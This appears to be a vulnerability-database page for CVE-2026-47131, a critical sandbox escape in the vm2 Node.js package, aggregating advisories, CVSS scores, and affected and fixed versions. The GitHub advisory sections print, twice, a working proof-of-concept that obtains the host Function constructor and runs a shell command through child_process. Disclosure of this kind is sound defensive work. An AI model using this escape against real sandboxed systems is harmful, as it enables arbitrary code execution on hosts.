CVE-2026-47131
vm2: Sandbox Escape
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.lookupGetter, Buffer, "proto"), Buffer.call.call({}.lookupSetter, Buffer, "proto"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
10.0
vm2: Sandbox Escape
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.lookupGetter, Buffer, "proto"), Buffer.call.call({}.lookupSetter, Buffer, "proto"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.
- Record
CVE-2026-47131- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-913
- Updated
- 2026-11-02
EUVDEUVD-2026-36441
10.0
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.lookupGetter, Buffer, "proto"), Buffer.call.call({}.lookupSetter, Buffer, "proto"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.
- Record
EUVD-2026-36441- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-v6mx-mf47-r5wg
10.0
vm2 has a Sandbox Escape issue
Summary
By combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox.
This allows attackers to run arbitrary code.
PoC
"use strict";
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
"use strict";
const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
setProto.call(getProto.call(e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
const HostFunction = e.constructor.constructor;
new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
}
}
f();
`);
Impact
Sandbox Escape → RCE
- Record
GHSA-v6mx-mf47-r5wg- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-913
- Updated
- 2026-11-02
NVD
10.0
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.lookupGetter, Buffer, "proto"), Buffer.call.call({}.lookupSetter, Buffer, "proto"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.
- Record
CVE-2026-47131- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-913
- Updated
- 2026-11-02
OSV
10.0
vm2: Sandbox Escape
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.lookupGetter, Buffer, "proto"), Buffer.call.call({}.lookupSetter, Buffer, "proto"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.
- Record
CVE-2026-47131- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-913
- Updated
- 2026-11-02
OSVGHSA-v6mx-mf47-r5wg
10.0
vm2 has a Sandbox Escape issue
Summary
By combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox.
This allows attackers to run arbitrary code.
PoC
"use strict";
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
"use strict";
const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
setProto.call(getProto.call(e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
const HostFunction = e.constructor.constructor;
new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
}
}
f();
`);
Impact
Sandbox Escape → RCE
- Record
GHSA-v6mx-mf47-r5wg- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-913
- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-47131
10.0
CVE-2026-47131 in vm2 - Patched by Root
Root has patched CVE-2026-47131 in the vm2 package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-47131- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1787860907 No score
TuxCare security update for vm2 (34 CVEs)
TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.
- Record
CLSA-2026-1787860907- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
vm2npm |
through 3.11.3 | 3.11.4 |
vm2TuxCare:npm From an advisory covering 30 CVEs |
3.10.0-tuxcare.0 up to 3.10.0-tuxcare.1, plus listed versions 3.10.0 |
3.10.0-tuxcare.1 |
vm2npm |
before 3.11.4 | 3.11.4 |
vm2Root:npm |
before 3.9.17-aikido.11 | 3.9.17-aikido.113.9.17-aikido.123.11.3-aikido.23.9.17-aikido.133.11.3-aikido.33.9.17-aikido.73.9.17-aikido.83.9.17-aikido.93.9.17-aikido.103.9.7-aikido.53.9.7-aikido.6 |
@rootio/vm2Root:npm |
before 3.9.17-root.io.11 | 3.9.17-root.io.113.9.17-root.io.123.11.3-root.io.23.9.17-root.io.133.11.3-root.io.33.9.17-root.io.73.9.17-root.io.83.9.17-root.io.93.9.17-root.io.103.9.7-root.io.53.9.7-root.io.6 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| facts | ||
| affected, aliases, references | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-47131 is a critical vulnerability (CVSS 10.0) in Patriksimek Vm2, published May 29, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.76%, the 55th percentile. Fixed in vm2 3.11.4.
References
github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg
github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8
github.com/patriksimek/vm2/releases/tag/v3.11.4
nvd.nist.gov/vuln/detail/CVE-2026-47131
github.com/advisories/GHSA-v6mx-mf47-r5wg
github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47131.json
github.com/patriksimek/vm2